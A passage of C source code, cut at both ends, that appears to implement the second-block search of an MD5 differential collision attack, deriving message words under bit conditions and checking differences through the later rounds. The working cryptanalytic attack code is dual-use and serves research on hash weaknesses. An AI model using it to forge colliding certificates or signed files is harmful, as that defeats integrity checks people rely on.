s.Q0[10], s.Q0[ 9])\n\t\t\t- s.Q0[ 8] - 0x895cd7be;\n\t\ts.X1[27] = RR(s.Q1[12] - s.Q1[11], 22) - F(s.Q1[11], s.Q1[10], s.Q1[ 9])\n\t\t\t- s.Q1[ 8] - 0x895cd7be;\n\t\tif((s.X0[27] ^ s.X1[27]) != 0x00008000)\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* A4 */\n\t\ts.Q0[13] = (random() | 0x3f0fe008) & ~0x80000080;\n\t\ts.Q1[13] = s.Q0[13] - 0x7f000000;\n\n\t\ts.X0[28] = RR(s.Q0[13] - s.Q0[12],  7) - F(s.Q0[12], s.Q0[11], s.Q0[10])\n\t\t\t- s.Q0[ 9] - 0x6b901122;\n\t\ts.X1[28] = RR(s.Q1[13] - s.Q1[12],  7) - F(s.Q1[12], s.Q1[11], s.Q1[10])\n\t\t\t- s.Q1[ 9] - 0x6b901122;\n\t\tif(s.X0[28] != s.X1[28])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* D4 */\n\t\ts.Q0[14] = (random() | 0x400be088) & ~0xbf040000;\n\t\ts.Q1[14] = s.Q0[14] - 0x80000000;\n\n\t\ts.X0[29] = RR(s.Q0[14] - s.Q0[13], 12) - F(s.Q0[13], s.Q0[12], s.Q0[11])\n\t\t\t- s.Q0[10] - 0xfd987193;\n\t\ts.X1[29] = RR(s.Q1[14] - s.Q1[13], 12) - F(s.Q1[13], s.Q1[12], s.Q1[11])\n\t\t\t- s.Q1[10] - 0xfd987193;\n\t\tif(s.X0[29] != s.X1[29])\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < 10; i++)\n\t{\n\t\t/* C4 */\n\t\ts.Q0[15] = (random() | 0x7d000000) & ~0x82008008;\n\t\ts.Q1[15] = s.Q0[15] - 0x7fff7ff8;\n\n\t\ts.X0[30] = RR(s.Q0[15] - s.Q0[14], 17) - F(s.Q0[14], s.Q0[13], s.Q0[12])\n\t\t\t- s.Q0[11] - 0xa679438e;\n\t\ts.X1[30] = RR(s.Q1[15] - s.Q1[14], 17) - F(s.Q1[14], s.Q1[13], s.Q1[12])\n\t\t\t- s.Q1[11] - 0xa679438e;\n\t\tif((s.X0[30] ^ s.X1[30]) != 0x80000000)\n\t\t\tcontinue;\n\t\tbreak;\n\t}\n\tif(i >= 10)\n\t\tgoto block2_again;\n\n\tfor(i = 0; i < LOOP_21; i++)\n\t{\n\t\t/* B4 */\n\t\ts.Q0[16] = (random() | 0x20000000) & ~0x80000000;\n\t\ts.Q1[16] = s.Q0[16] - 0xa0000000;\n\n\t\ts.X0[31] = RR(s.Q0[16] - s.Q0[15], 22) - F(s.Q0[15], s.Q0[14], s.Q0[13])\n\t\t\t- s.Q0[12] - 0x49b40821;\n\t\ts.X1[31] = RR(s.Q1[16] - s.Q1[15], 22) - F(s.Q1[15], s.Q1[14], s.Q1[13])\n\t\t\t- s.Q1[12] - 0x49b40821;\n\t\tif(s.X0[31] != s.X1[31])\n\t\t\tcontinue;\n\n                /* A5 */\n                s.Q0[17] = RL(G(s.Q0[16], s.Q0[15], s.Q0[14]) + s.Q0[13]\n                        + s.X0[17] + 0xf61e2562,  5) + s.Q0[16];\n                if((s.Q0[17] & 0x80028008) != (s.Q0[16] & 0x00008008))\n                        continue;\n                s.Q1[17] = RL(G(s.Q1[16], s.Q1[15], s.Q1[14]) + s.Q1[13]\n                        + s.X1[17] + 0xf61e2562,  5) + s.Q1[16];\n                if((s.Q0[17] ^ s.Q1[17]) != 0x80000000)\n                        continue;\n\n                /* D5 */\n                s.Q0[18] = RL(G(s.Q0[17], s.Q0[16], s.Q0[15]) + s.Q0[14]\n                        + s.X0[22] + 0xc040b340,  9) + s.Q0[17];\n                if((s.Q0[18] & 0xa0020000)\n                        != ((s.Q0[17] & 0x20000000) | 0x00020000))\n                {\n                        continue;\n                }\n                s.Q1[18] = RL(G(s.Q1[17], s.Q1[16], s.Q1[15]) + s.Q1[14]\n                        + s.X1[22] + 0xc040b340,  9) + s.Q1[17];\n                if((s.Q0[18] ^ s.Q1[18]) != 0x80000000)\n                        continue;\n\n                /* C5 */\n                s.Q0[19] = RL(G(s.Q0[18], s.Q0[17], s.Q0[16]) + s.Q0[15]\n                        + s.X0[27] + 0x265e5a51, 14) + s.Q0[18];\n                if(s.Q0[19] & 0x80020000)\n                        continue;\n                s.Q1[19] = RL(G(s.Q1[18], s.Q1[17], s.Q1[16]) + s.Q1[15]\n                        + s.X1[27] + 0x265e5a51, 14) + s.Q1[18];\n                if((s.Q0[19] - s.Q1[19]) != 0x7ffe0000)\n                        continue;\n\n                /* B5 */\n                s.Q0[20] = RL(G(s.Q0[19], s.Q0[18], s.Q0[17]) + s.Q0[16]\n                        + s.X0[16] + 0xe9b6c7aa, 20) + s.Q0[19];\n                if(s.Q0[20] & 0x80000000)\n                        continue;\n                s.Q1[20] = RL(G(s.Q1[19], s.Q1[18], s.Q1[17]) + s.Q1[16]\n                        + s.X1[16] + 0xe9b6c7aa, 20) + s.Q1[19];\n                if((s.Q0[20] ^ s.Q1[20]) != 0x80000000)\n                        continue;\n\n                /* A6 */\n                s.Q0[21] = RL(G(s.Q0[20], s.Q0[19], s.Q0[18]) + s.Q0[17]\n                        + s.X0[21] + 0xd62f105d,  5) + s.Q0[20];\n                if((s.Q0[21] & 0x80020000) != (s.Q0[20] & 0x00020000))\n                        continue;\n                s.Q1[21] = RL(G(s.Q1[20], s.Q1[19], s.Q1[18]) + s.Q1[17]\n                        + s.X1[21] + 0xd62f105d,  5) + s.Q1[20];\n                if((s.Q0[21] ^ s.Q1[21]) != 0x80000000)\n                        continue;\n\t\tbreak;\n\t}\n\tif(i >= LOOP_21)\n\t\tgoto block2_again;\n\n\tct3++;\n\tfor(i = 0; i < LOOP_22; i++)\n\t{\n\t        if (cb) {\n\t\t  if ((i & 0xfffff) == 0) {\n\t\t    if (callback4(cb, s.ct1, s.ct2, ct3, i>>20)) {\n\t\t      return 1;\n\t\t    }\n\t\t  }\n\t\t}\n\n                /* B4 */\n                s.Q0[16] ^= mask22[random() % 30];\n                s.Q1[16] = s.Q0[16] - 0xa0000000;\n\n                s.X0[31] = RR(s.Q0[16] - s.Q0[15], 22) - F(s.Q0[15], s.Q0[14], s.Q0[13])\n                        - s.Q0[12] - 0x49b40821;\n                s.X1[31] = RR(s.Q1[16] - s.Q1[15], 22) - F(s.Q1[15], s.Q1[14], s.Q1[13])\n                        - s.Q1[12] - 0x49b40821;\n                if(s.X0[31] != s.X1[31])\n                        continue;\n\n\t\t/* A5 */\n\t\ts.Q0[17] = RL(G(s.Q0[16], s.Q0[15], s.Q0[14]) + s.Q0[13]\n\t\t\t+ s.X0[17] + 0xf61e2562,  5) + s.Q0[16];\n\t\tif((s.Q0[17] & 0x80028008) != (s.Q0[16] & 0x00008008))\n\t\t\tcontinue;\n\t\ts.Q1[17] = RL(G(s.Q1[16], s.Q1[15], s.Q1[14]) + s.Q1[13]\n\t\t\t+ s.X1[17] + 0xf61e2562,  5) + s.Q1[16];\n\t\tif((s.Q0[17] ^ s.Q1[17]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D5 */\n\t\ts.Q0[18] = RL(G(s.Q0[17], s.Q0[16], s.Q0[15]) + s.Q0[14]\n\t\t\t+ s.X0[22] + 0xc040b340,  9) + s.Q0[17];\n\t\tif((s.Q0[18] & 0xa0020000)\n\t\t\t!= ((s.Q0[17] & 0x20000000) | 0x00020000))\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\t\ts.Q1[18] = RL(G(s.Q1[17], s.Q1[16], s.Q1[15]) + s.Q1[14]\n\t\t\t+ s.X1[22] + 0xc040b340,  9) + s.Q1[17];\n\t\tif((s.Q0[18] ^ s.Q1[18]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C5 */\n\t\ts.Q0[19] = RL(G(s.Q0[18], s.Q0[17], s.Q0[16]) + s.Q0[15]\n\t\t\t+ s.X0[27] + 0x265e5a51, 14) + s.Q0[18];\n\t\tif(s.Q0[19] & 0x80020000)\n\t\t\tcontinue;\n\t\ts.Q1[19] = RL(G(s.Q1[18], s.Q1[17], s.Q1[16]) + s.Q1[15]\n\t\t\t+ s.X1[27] + 0x265e5a51, 14) + s.Q1[18];\n\t\tif((s.Q0[19] - s.Q1[19]) != 0x7ffe0000)\n\t\t\tcontinue;\n\n\t\t/* B5 */\n\t\ts.Q0[20] = RL(G(s.Q0[19], s.Q0[18], s.Q0[17]) + s.Q0[16]\n\t\t\t+ s.X0[16] + 0xe9b6c7aa, 20) + s.Q0[19];\n\t\tif(s.Q0[20] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[20] = RL(G(s.Q1[19], s.Q1[18], s.Q1[17]) + s.Q1[16]\n\t\t\t+ s.X1[16] + 0xe9b6c7aa, 20) + s.Q1[19];\n\t\tif((s.Q0[20] ^ s.Q1[20]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A6 */\n\t\ts.Q0[21] = RL(G(s.Q0[20], s.Q0[19], s.Q0[18]) + s.Q0[17]\n\t\t\t+ s.X0[21] + 0xd62f105d,  5) + s.Q0[20];\n\t\tif((s.Q0[21] & 0x80020000) != (s.Q0[20] & 0x00020000))\n\t\t\tcontinue;\n\t\ts.Q1[21] = RL(G(s.Q1[20], s.Q1[19], s.Q1[18]) + s.Q1[17]\n\t\t\t+ s.X1[21] + 0xd62f105d,  5) + s.Q1[20];\n\t\tif((s.Q0[21] ^ s.Q1[21]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D6 */\n\t\ts.Q0[22] = RL(G(s.Q0[21], s.Q0[20], s.Q0[19]) + s.Q0[18]\n\t\t\t+ s.X0[26] + 0x02441453,  9) + s.Q0[21];\n\t\tif(s.Q0[22] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[22] = RL(G(s.Q1[21], s.Q1[20], s.Q1[19]) + s.Q1[18]\n\t\t\t+ s.X1[26] + 0x02441453,  9) + s.Q1[21];\n\t\tif((s.Q0[22] ^ s.Q1[22]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C6 */\n\t\ts.Q0[23] = RL(G(s.Q0[22], s.Q0[21], s.Q0[20]) + s.Q0[19]\n\t\t\t+ s.X0[31] + 0xd8a1e681, 14) + s.Q0[22];\n\t\tif(s.Q0[23] & 0x80000000)\n\t\t\tcontinue;\n\t\ts.Q1[23] = RL(G(s.Q1[22], s.Q1[21], s.Q1[20]) + s.Q1[19]\n\t\t\t+ s.X1[31] + 0xd8a1e681, 14) + s.Q1[22];\n\t\tif(s.Q0[23] != s.Q1[23])\n\t\t\tcontinue;\n\n\t\t/* B6 */\n\t\ts.Q0[24] = RL(G(s.Q0[23], s.Q0[22], s.Q0[21]) + s.Q0[20]\n\t\t\t+ s.X0[20] + 0xe7d3fbc8, 20) + s.Q0[23];\n\t\ts.Q1[24] = RL(G(s.Q1[23], s.Q1[22], s.Q1[21]) + s.Q1[20]\n\t\t\t+ s.X1[20] + 0xe7d3fbc8, 20) + s.Q1[23];\n\t\tif(s.Q0[24] != s.Q1[24])\n\t\t\tcontinue;\n\n\t\t/* A7 */\n\t\ts.Q0[25] = RL(G(s.Q0[24], s.Q0[23], s.Q0[22]) + s.Q0[21]\n\t\t\t+ s.X0[25] + 0x21e1cde6,  5) + s.Q0[24];\n\t\ts.Q1[25] = RL(G(s.Q1[24], s.Q1[23], s.Q1[22]) + s.Q1[21]\n\t\t\t+ s.X1[25] + 0x21e1cde6,  5) + s.Q1[24];\n\t\tif(s.Q0[25] != s.Q1[25])\n\t\t\tcontinue;\n\n\t\t/* D7 */\n\t\ts.Q0[26] = RL(G(s.Q0[25], s.Q0[24], s.Q0[23]) + s.Q0[22]\n\t\t\t+ s.X0[30] + 0xc33707d6,  9) + s.Q0[25];\n\t\ts.Q1[26] = RL(G(s.Q1[25], s.Q1[24], s.Q1[23]) + s.Q1[22]\n\t\t\t+ s.X1[30] + 0xc33707d6,  9) + s.Q1[25];\n\t\tif(s.Q0[26] != s.Q1[26])\n\t\t\tcontinue;\n\n\t\t/* C7 */\n\t\ts.Q0[27] = RL(G(s.Q0[26], s.Q0[25], s.Q0[24]) + s.Q0[23]\n\t\t\t+ s.X0[19] + 0xf4d50d87, 14) + s.Q0[26];\n\t\ts.Q1[27] = RL(G(s.Q1[26], s.Q1[25], s.Q1[24]) + s.Q1[23]\n\t\t\t+ s.X1[19] + 0xf4d50d87, 14) + s.Q1[26];\n\t\tif(s.Q0[27] != s.Q1[27])\n\t\t\tcontinue;\n\n\t\t/* B7 */\n\t\ts.Q0[28] = RL(G(s.Q0[27], s.Q0[26], s.Q0[25]) + s.Q0[24]\n\t\t\t+ s.X0[24] + 0x455a14ed, 20) + s.Q0[27];\n\t\ts.Q1[28] = RL(G(s.Q1[27], s.Q1[26], s.Q1[25]) + s.Q1[24]\n\t\t\t+ s.X1[24] + 0x455a14ed, 20) + s.Q1[27];\n\t\tif(s.Q0[28] != s.Q1[28])\n\t\t\tcontinue;\n\n\t\t/* A8 */\n\t\ts.Q0[29] = RL(G(s.Q0[28], s.Q0[27], s.Q0[26]) + s.Q0[25]\n\t\t\t+ s.X0[29] + 0xa9e3e905,  5) + s.Q0[28];\n\t\ts.Q1[29] = RL(G(s.Q1[28], s.Q1[27], s.Q1[26]) + s.Q1[25]\n\t\t\t+ s.X1[29] + 0xa9e3e905,  5) + s.Q1[28];\n\t\tif(s.Q0[29] != s.Q1[29])\n\t\t\tcontinue;\n\n\t\t/* D8 */\n\t\ts.Q0[30] = RL(G(s.Q0[29], s.Q0[28], s.Q0[27]) + s.Q0[26]\n\t\t\t+ s.X0[18] + 0xfcefa3f8,  9) + s.Q0[29];\n\t\ts.Q1[30] = RL(G(s.Q1[29], s.Q1[28], s.Q1[27]) + s.Q1[26]\n\t\t\t+ s.X1[18] + 0xfcefa3f8,  9) + s.Q1[29];\n\t\tif(s.Q0[30] != s.Q1[30])\n\t\t\tcontinue;\n\n\t\t/* C8 */\n\t\ts.Q0[31] = RL(G(s.Q0[30], s.Q0[29], s.Q0[28]) + s.Q0[27]\n\t\t\t+ s.X0[23] + 0x676f02d9, 14) + s.Q0[30];\n\t\ts.Q1[31] = RL(G(s.Q1[30], s.Q1[29], s.Q1[28]) + s.Q1[27]\n\t\t\t+ s.X1[23] + 0x676f02d9, 14) + s.Q1[30];\n\t\tif(s.Q0[31] != s.Q1[31])\n\t\t\tcontinue;\n\n\t\t/* B8 */\n\t\ts.Q0[32] = RL(G(s.Q0[31], s.Q0[30], s.Q0[29]) + s.Q0[28]\n\t\t\t+ s.X0[28] + 0x8d2a4c8a, 20) + s.Q0[31];\n\t\ts.Q1[32] = RL(G(s.Q1[31], s.Q1[30], s.Q1[29]) + s.Q1[28]\n\t\t\t+ s.X1[28] + 0x8d2a4c8a, 20) + s.Q1[31];\n\t\tif(s.Q0[32] != s.Q1[32])\n\t\t\tcontinue;\n\n\t\t/* A9 */\n\t\ts.Q0[33] = RL(H(s.Q0[32], s.Q0[31], s.Q0[30]) + s.Q0[29]\n\t\t\t+ s.X0[21] + 0xfffa3942,  4) + s.Q0[32];\n\t\ts.Q1[33] = RL(H(s.Q1[32], s.Q1[31], s.Q1[30]) + s.Q1[29]\n\t\t\t+ s.X1[21] + 0xfffa3942,  4) + s.Q1[32];\n\t\tif(s.Q0[33] != s.Q1[33])\n\t\t\tcontinue;\n\n\t\t/* D9 */\n\t\ts.Q0[34] = RL(H(s.Q0[33], s.Q0[32], s.Q0[31]) + s.Q0[30]\n\t\t\t+ s.X0[24] + 0x8771f681, 11) + s.Q0[33];\n\t\ts.Q1[34] = RL(H(s.Q1[33], s.Q1[32], s.Q1[31]) + s.Q1[30]\n\t\t\t+ s.X1[24] + 0x8771f681, 11) + s.Q1[33];\n\t\tif(s.Q0[34] != s.Q1[34])\n\t\t\tcontinue;\n\n\t\t/* C9 */\n\t\ts.Q0[35] = RL(H(s.Q0[34], s.Q0[33], s.Q0[32]) + s.Q0[31]\n\t\t\t+ s.X0[27] + 0x6d9d6122, 16) + s.Q0[34];\n\t\ts.Q1[35] = RL(H(s.Q1[34], s.Q1[33], s.Q1[32]) + s.Q1[31]\n\t\t\t+ s.X1[27] + 0x6d9d6122, 16) + s.Q1[34];\n\t\tif((s.Q0[35] ^ s.Q1[35]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B9 */\n\t\ts.Q0[36] = RL(H(s.Q0[35], s.Q0[34], s.Q0[33]) + s.Q0[32]\n\t\t\t+ s.X0[30] + 0xfde5380c, 23) + s.Q0[35];\n\t\ts.Q1[36] = RL(H(s.Q1[35], s.Q1[34], s.Q1[33]) + s.Q1[32]\n\t\t\t+ s.X1[30] + 0xfde5380c, 23) + s.Q1[35];\n\t\tif((s.Q0[36] ^ s.Q1[36]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A10 */\n\t\ts.Q0[37] = RL(H(s.Q0[36], s.Q0[35], s.Q0[34]) + s.Q0[33]\n\t\t\t+ s.X0[17] + 0xa4beea44,  4) + s.Q0[36];\n\t\ts.Q1[37] = RL(H(s.Q1[36], s.Q1[35], s.Q1[34]) + s.Q1[33]\n\t\t\t+ s.X1[17] + 0xa4beea44,  4) + s.Q1[36];\n\t\tif((s.Q0[37] ^ s.Q1[37]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D10 */\n\t\ts.Q0[38] = RL(H(s.Q0[37], s.Q0[36], s.Q0[35]) + s.Q0[34]\n\t\t\t+ s.X0[20] + 0x4bdecfa9, 11) + s.Q0[37];\n\t\ts.Q1[38] = RL(H(s.Q1[37], s.Q1[36], s.Q1[35]) + s.Q1[34]\n\t\t\t+ s.X1[20] + 0x4bdecfa9, 11) + s.Q1[37];\n\t\tif((s.Q0[38] ^ s.Q1[38]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C10 */\n\t\ts.Q0[39] = RL(H(s.Q0[38], s.Q0[37], s.Q0[36]) + s.Q0[35]\n\t\t\t+ s.X0[23] + 0xf6bb4b60, 16) + s.Q0[38];\n\t\ts.Q1[39] = RL(H(s.Q1[38], s.Q1[37], s.Q1[36]) + s.Q1[35]\n\t\t\t+ s.X1[23] + 0xf6bb4b60, 16) + s.Q1[38];\n\t\tif((s.Q0[39] ^ s.Q1[39]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B10 */\n\t\ts.Q0[40] = RL(H(s.Q0[39], s.Q0[38], s.Q0[37]) + s.Q0[36]\n\t\t\t+ s.X0[26] + 0xbebfbc70, 23) + s.Q0[39];\n\t\ts.Q1[40] = RL(H(s.Q1[39], s.Q1[38], s.Q1[37]) + s.Q1[36]\n\t\t\t+ s.X1[26] + 0xbebfbc70, 23) + s.Q1[39];\n\t\tif((s.Q0[40] ^ s.Q1[40]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A11 */\n\t\ts.Q0[41] = RL(H(s.Q0[40], s.Q0[39], s.Q0[38]) + s.Q0[37]\n\t\t\t+ s.X0[29] + 0x289b7ec6,  4) + s.Q0[40];\n\t\ts.Q1[41] = RL(H(s.Q1[40], s.Q1[39], s.Q1[38]) + s.Q1[37]\n\t\t\t+ s.X1[29] + 0x289b7ec6,  4) + s.Q1[40];\n\t\tif((s.Q0[41] ^ s.Q1[41]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D11 */\n\t\ts.Q0[42] = RL(H(s.Q0[41], s.Q0[40], s.Q0[39]) + s.Q0[38]\n\t\t\t+ s.X0[16] + 0xeaa127fa, 11) + s.Q0[41];\n\t\ts.Q1[42] = RL(H(s.Q1[41], s.Q1[40], s.Q1[39]) + s.Q1[38]\n\t\t\t+ s.X1[16] + 0xeaa127fa, 11) + s.Q1[41];\n\t\tif((s.Q0[42] ^ s.Q1[42]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C11 */\n\t\ts.Q0[43] = RL(H(s.Q0[42], s.Q0[41], s.Q0[40]) + s.Q0[39]\n\t\t\t+ s.X0[19] + 0xd4ef3085, 16) + s.Q0[42];\n\t\ts.Q1[43] = RL(H(s.Q1[42], s.Q1[41], s.Q1[40]) + s.Q1[39]\n\t\t\t+ s.X1[19] + 0xd4ef3085, 16) + s.Q1[42];\n\t\tif((s.Q0[43] ^ s.Q1[43]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B11 */\n\t\ts.Q0[44] = RL(H(s.Q0[43], s.Q0[42], s.Q0[41]) + s.Q0[40]\n\t\t\t+ s.X0[22] + 0x04881d05, 23) + s.Q0[43];\n\t\ts.Q1[44] = RL(H(s.Q1[43], s.Q1[42], s.Q1[41]) + s.Q1[40]\n\t\t\t+ s.X1[22] + 0x04881d05, 23) + s.Q1[43];\n\t\tif((s.Q0[44] ^ s.Q1[44]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A12 */\n\t\ts.Q0[45] = RL(H(s.Q0[44], s.Q0[43], s.Q0[42]) + s.Q0[41]\n\t\t\t+ s.X0[25] + 0xd9d4d039,  4) + s.Q0[44];\n\t\ts.Q1[45] = RL(H(s.Q1[44], s.Q1[43], s.Q1[42]) + s.Q1[41]\n\t\t\t+ s.X1[25] + 0xd9d4d039,  4) + s.Q1[44];\n\t\tif((s.Q0[45] ^ s.Q1[45]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D12 */\n\t\ts.Q0[46] = RL(H(s.Q0[45], s.Q0[44], s.Q0[43]) + s.Q0[42]\n\t\t\t+ s.X0[28] + 0xe6db99e5, 11) + s.Q0[45];\n\t\ts.Q1[46] = RL(H(s.Q1[45], s.Q1[44], s.Q1[43]) + s.Q1[42]\n\t\t\t+ s.X1[28] + 0xe6db99e5, 11) + s.Q1[45];\n\t\tif((s.Q0[46] ^ s.Q1[46]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C12 */\n\t\ts.Q0[47] = RL(H(s.Q0[46], s.Q0[45], s.Q0[44]) + s.Q0[43]\n\t\t\t+ s.X0[31] + 0x1fa27cf8, 16) + s.Q0[46];\n\t\ts.Q1[47] = RL(H(s.Q1[46], s.Q1[45], s.Q1[44]) + s.Q1[43]\n\t\t\t+ s.X1[31] + 0x1fa27cf8, 16) + s.Q1[46];\n\t\tif((s.Q0[47] ^ s.Q1[47]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B12 */\n\t\ts.Q0[48] = RL(H(s.Q0[47], s.Q0[46], s.Q0[45]) + s.Q0[44]\n\t\t\t+ s.X0[18] + 0xc4ac5665, 23) + s.Q0[47];\n\t\tif((s.Q0[48] & 0x80000000) != (s.Q0[46] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[48] = RL(H(s.Q1[47], s.Q1[46], s.Q1[45]) + s.Q1[44]\n\t\t\t+ s.X1[18] + 0xc4ac5665, 23) + s.Q1[47];\n\t\tif((s.Q0[48] ^ s.Q1[48]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A13 */\n\t\ts.Q0[49] = RL(I(s.Q0[48], s.Q0[47], s.Q0[46]) + s.Q0[45]\n\t\t\t+ s.X0[16] + 0xf4292244,  6) + s.Q0[48];\n\t\tif((s.Q0[49] & 0x80000000) != (s.Q0[47] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[49] = RL(I(s.Q1[48], s.Q1[47], s.Q1[46]) + s.Q1[45]\n\t\t\t+ s.X1[16] + 0xf4292244,  6) + s.Q1[48];\n\t\tif((s.Q0[49] ^ s.Q1[49]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D13 */\n\t\ts.Q0[50] = RL(I(s.Q0[49], s.Q0[48], s.Q0[47]) + s.Q0[46]\n\t\t\t+ s.X0[23] + 0x432aff97, 10) + s.Q0[49];\n\t\ts.Q1[50] = RL(I(s.Q1[49], s.Q1[48], s.Q1[47]) + s.Q1[46]\n\t\t\t+ s.X1[23] + 0x432aff97, 10) + s.Q1[49];\n\t\tif((s.Q0[50] ^ s.Q1[50]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C13 */\n\t\ts.Q0[51] = RL(I(s.Q0[50], s.Q0[49], s.Q0[48]) + s.Q0[47]\n\t\t\t+ s.X0[30] + 0xab9423a7, 15) + s.Q0[50];\n\t\tif((s.Q0[51] & 0x80000000) != (s.Q0[49] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[51] = RL(I(s.Q1[50], s.Q1[49], s.Q1[48]) + s.Q1[47]\n\t\t\t+ s.X1[30] + 0xab9423a7, 15) + s.Q1[50];\n\t\tif((s.Q0[51] ^ s.Q1[51]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B13 */\n\t\ts.Q0[52] = RL(I(s.Q0[51], s.Q0[50], s.Q0[49]) + s.Q0[48]\n\t\t\t+ s.X0[21] + 0xfc93a039, 21) + s.Q0[51];\n\t\tif((s.Q0[52] & 0x80000000) != (s.Q0[50] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[52] = RL(I(s.Q1[51], s.Q1[50], s.Q1[49]) + s.Q1[48]\n\t\t\t+ s.X1[21] + 0xfc93a039, 21) + s.Q1[51];\n\t\tif((s.Q0[52] ^ s.Q1[52]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A14 */\n\t\ts.Q0[53] = RL(I(s.Q0[52], s.Q0[51], s.Q0[50]) + s.Q0[49]\n\t\t\t+ s.X0[28] + 0x655b59c3,  6) + s.Q0[52];\n\t\tif((s.Q0[53] & 0x80000000) != (s.Q0[51] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[53] = RL(I(s.Q1[52], s.Q1[51], s.Q1[50]) + s.Q1[49]\n\t\t\t+ s.X1[28] + 0x655b59c3,  6) + s.Q1[52];\n\t\tif((s.Q0[53] ^ s.Q1[53]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D14 */\n\t\ts.Q0[54] = RL(I(s.Q0[53], s.Q0[52], s.Q0[51]) + s.Q0[50]\n\t\t\t+ s.X0[19] + 0x8f0ccc92, 10) + s.Q0[53];\n\t\tif((s.Q0[54] & 0x80000000) != (s.Q0[52] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[54] = RL(I(s.Q1[53], s.Q1[52], s.Q1[51]) + s.Q1[50]\n\t\t\t+ s.X1[19] + 0x8f0ccc92, 10) + s.Q1[53];\n\t\tif((s.Q0[54] ^ s.Q1[54]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C14 */\n\t\ts.Q0[55] = RL(I(s.Q0[54], s.Q0[53], s.Q0[52]) + s.Q0[51]\n\t\t\t+ s.X0[26] + 0xffeff47d, 15) + s.Q0[54];\n\t\tif((s.Q0[55] & 0x80000000) != (s.Q0[53] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[55] = RL(I(s.Q1[54], s.Q1[53], s.Q1[52]) + s.Q1[51]\n\t\t\t+ s.X1[26] + 0xffeff47d, 15) + s.Q1[54];\n\t\tif((s.Q0[55] ^ s.Q1[55]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* B14 */\n\t\ts.Q0[56] = RL(I(s.Q0[55], s.Q0[54], s.Q0[53]) + s.Q0[52]\n\t\t\t+ s.X0[17] + 0x85845dd1, 21) + s.Q0[55];\n\t\tif((s.Q0[56] & 0x80000000) != (s.Q0[54] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[56] = RL(I(s.Q1[55], s.Q1[54], s.Q1[53]) + s.Q1[52]\n\t\t\t+ s.X1[17] + 0x85845dd1, 21) + s.Q1[55];\n\t\tif((s.Q0[56] ^ s.Q1[56]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* A15 */\n\t\ts.Q0[57] = RL(I(s.Q0[56], s.Q0[55], s.Q0[54]) + s.Q0[53]\n\t\t\t+ s.X0[24] + 0x6fa87e4f,  6) + s.Q0[56];\n\t\tif((s.Q0[57] & 0x80000000) != (s.Q0[55] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[57] = RL(I(s.Q1[56], s.Q1[55], s.Q1[54]) + s.Q1[53]\n\t\t\t+ s.X1[24] + 0x6fa87e4f,  6) + s.Q1[56];\n\t\tif((s.Q0[57] ^ s.Q1[57]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* D15 */\n\t\ts.Q0[58] = RL(I(s.Q0[57], s.Q0[56], s.Q0[55]) + s.Q0[54]\n\t\t\t+ s.X0[31] + 0xfe2ce6e0, 10) + s.Q0[57];\n\t\tif((s.Q0[58] & 0x80000000) != (s.Q0[56] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[58] = RL(I(s.Q1[57], s.Q1[56], s.Q1[55]) + s.Q1[54]\n\t\t\t+ s.X1[31] + 0xfe2ce6e0, 10) + s.Q1[57];\n\t\tif((s.Q0[58] ^ s.Q1[58]) != 0x80000000)\n\t\t\tcontinue;\n\n\t\t/* C15 */\n\t\ts.Q0[59] = RL(I(s.Q0[58], s.Q0[57], s.Q0[56]) + s.Q0[55]\n\t\t\t+ s.X0[22] + 0xa3014314, 15) + s.Q0[58];\n\t\tif((s.Q0[59] & 0x80000000) != (s.Q0[57] & 0x80000000))\n\t\t\tcontinue;\n\t\ts.Q1[59] = RL(I(s.Q1[58], s.Q1[57], s.Q1[56]) + s.Q1[55]\n\t\t\t+ s.X1[22] + 0xa3014314, 15) + 